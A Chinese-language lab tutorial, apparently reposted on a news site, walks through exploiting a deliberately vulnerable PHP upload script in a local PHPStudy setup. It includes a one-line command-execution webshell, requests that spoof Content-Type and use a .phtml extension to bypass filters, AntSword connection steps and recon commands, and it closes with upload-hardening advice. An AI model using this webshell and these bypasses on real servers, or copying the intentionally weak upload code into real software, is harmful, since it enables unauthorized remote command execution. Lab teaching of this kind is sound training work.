当前位置：首页 > news >正文

新手必看：用PHPStudy+蚁剑实战文件上传漏洞（从上传到拿Flag全流程）

news 2026/6/2 21:42:04

从零构建文件上传漏洞实战环境：PHPStudy与蚁剑的攻防演练

在网络安全领域，文件上传漏洞长期占据OWASP Top 10榜单，是Web应用中最常见也最危险的安全隐患之一。对于刚入门的安全爱好者而言，如何将理论知识转化为实战能力往往是个难题。本文将带你从环境搭建开始，逐步完成一个完整的文件上传漏洞利用链条。

1. 实验环境准备与靶场搭建

工欲善其事，必先利其器。我们需要先配置一个安全的实验环境，避免对真实系统造成影响。PHPStudy作为一款集成的PHP开发环境，能够快速搭建本地测试服务器。

基础组件安装清单：

PHPStudy 8.1（包含Apache 2.4.39和PHP 7.3.4）
Burp Suite Community版
蚁剑(AntSword) v2.1.15
浏览器（推荐Chrome或Firefox）

安装PHPStudy后，在www目录下创建测试文件upload.php，这是我们的漏洞靶场核心代码：

<?php if(isset($_FILES['file'])){ $allowed_types = array('image/jpeg','image/png','image/gif'); if(!in_array($_FILES['file']['type'], $allowed_types)){ die('只允许上传图片文件！'); } $extension = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION); if(in_array($extension, array('php','php5','phar'))){ die('危险文件类型！'); } move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/'.$_FILES['file']['name']); echo '文件上传成功：'.$_FILES['file']['name']; } ?>

这个示例代码模拟了常见的防护措施：

检查Content-Type是否为图片类型
过滤危险文件后缀
将文件保存到uploads目录

2. 文件上传漏洞原理深度解析

文件上传漏洞的本质在于服务器对用户提交的文件验证不充分。常见的防护绕过手段可以分为三类：

验证机制对比表：

验证类型	常见实现	绕过方法
客户端验证	JavaScript检查文件扩展名	禁用JS或修改请求
MIME类型验证	检查Content-Type头	伪造为image/jpeg等
服务端扩展名检查	黑名单过滤php等扩展	使用php3/phtml等替代
文件内容验证	检查文件头或渲染图片	在图片中嵌入恶意代码

对于我们的靶场代码，存在两个关键漏洞点：

仅检查Content-Type而忽略实际文件内容
扩展名黑名单不完整（未包含phtml）

3. 实战绕过文件上传限制

现在我们来一步步绕过靶场的防护措施。首先准备我们的WebShell代码，为了避免被过滤，我们使用替代PHP标签：

<script language="php"> system($_GET['cmd']); </script>

将上述代码保存为shell.php，然后开始攻击流程：

首次尝试直接上传：
- 选择shell.php文件上传
- 预期结果：被扩展名过滤拦截
绕过Content-Type检查：
- 使用Burp Suite拦截上传请求
- 修改Content-Type为image/jpeg
- 关键请求参数示例：
```
Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: image/jpeg
```

绕过扩展名过滤：

将文件名改为shell.phtml
PHTML文件通常也能被PHP解析

最终成功上传的请求特征：

POST /upload.php HTTP/1.1 Content-Type: multipart/form-data --boundary Content-Disposition: form-data; name="file"; filename="shell.phtml" Content-Type: image/jpeg <script language="php">system($_GET['cmd']);</script> --boundary--

4. 蚁剑连接与权限维持

成功上传WebShell后，我们需要一个图形化工具来管理后门。蚁剑是当前最流行的WebShell管理工具之一，支持多种协议和功能扩展。

蚁剑连接配置步骤：

右键点击左侧空白区域选择"添加数据"
填写URL为WebShell地址：http://localhost/uploads/shell.phtml
密码类型选择"default"（因为我们使用的是公开密码）
点击测试连接确认可用性

连接成功后，你可以在蚁剑中执行以下操作：

浏览服务器文件系统
执行系统命令
上传/下载文件
数据库管理
虚拟终端操作

常用命令示例：

# 查看当前用户权限 whoami # 列出根目录文件 ls / # 查找flag文件 find / -name "*flag*" 2>/dev/null

5. 防御措施与加固建议

了解攻击手段后，我们更应该知道如何防御。以下是几种有效的文件上传防护方案：

多维度验证策略：

使用白名单而非黑名单（仅允许jpg/png等）
文件内容检测（通过GD库验证是否为真实图片）
随机重命名上传文件
设置严格的权限限制（不可执行）
存储在非Web可访问目录

安全上传代码示例：

$allowed_ext = ['jpg','png','gif']; $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if(!in_array($ext, $allowed_ext)){ die('非法文件类型'); } // 验证文件内容 if(!@getimagesize($_FILES['file']['tmp_name'])){ die('文件内容不合法'); } // 随机生成文件名 $new_name = md5(uniqid()).'.'.$ext; move_uploaded_file($_FILES['file']['tmp_name'], '/var/storage/'.$new_name);